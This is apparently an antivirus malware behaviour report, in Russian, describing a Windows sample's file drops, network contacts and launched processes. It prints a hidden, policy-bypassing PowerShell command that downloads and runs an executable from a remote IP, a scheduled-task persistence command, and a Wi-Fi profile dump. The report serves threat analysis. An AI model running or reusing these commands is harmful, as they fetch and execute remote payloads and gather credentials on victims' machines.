Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://19#.#.110.170/win32/htm.exe как %appdata%\htm.exe
Внедряет код в
следующие пользовательские процессы:
- htm.exe
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\abdtfhghgeghdhВќ.sct
- %APPDATA%\htm.exe
- %APPDATA%\yikvaxcbpxbbqc.exe
- %TEMP%\tmpc3ea.tmp
Присваивает атрибут 'скрытый' для следующих файлов
- %APPDATA%\yikvaxcbpxbbqc.exe
Удаляет следующие файлы
- %TEMP%\abdtfhghgeghdhВќ.sct
- %TEMP%\tmpc3ea.tmp
Сетевая активность
Подключается к
- '19#.#.110.170':80
- 'ch####p.dyndns.org':80
- 'fr###eoip.app':443
TCP
Запросы HTTP GET
- http://19#.#.110.170/win32/HTM.exe
- http://ch####p.dyndns.org/
Другие
- 'fr###eoip.app':443
UDP
- DNS ASK ch####p.dyndns.org
- DNS ASK fr###eoip.app
Другое
Создает и запускает на исполнение
- '%APPDATA%\htm.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://19#.#.110.170/win32/HTM.exe','%APPDATA%\HTM.exe');Start-Process '%APPD...' (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /Create /TN "Updates\YIkvAXcbPxbbQC" /XML "%TEMP%\tmpC3EA.tmp"' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\schtasks.exe' /Create /TN "Updates\YIkvAXcbPxbbQC" /XML "%TEMP%\tmpC3EA.tmp"
- '<SYSTEM32>\netsh.exe' wlan show profile
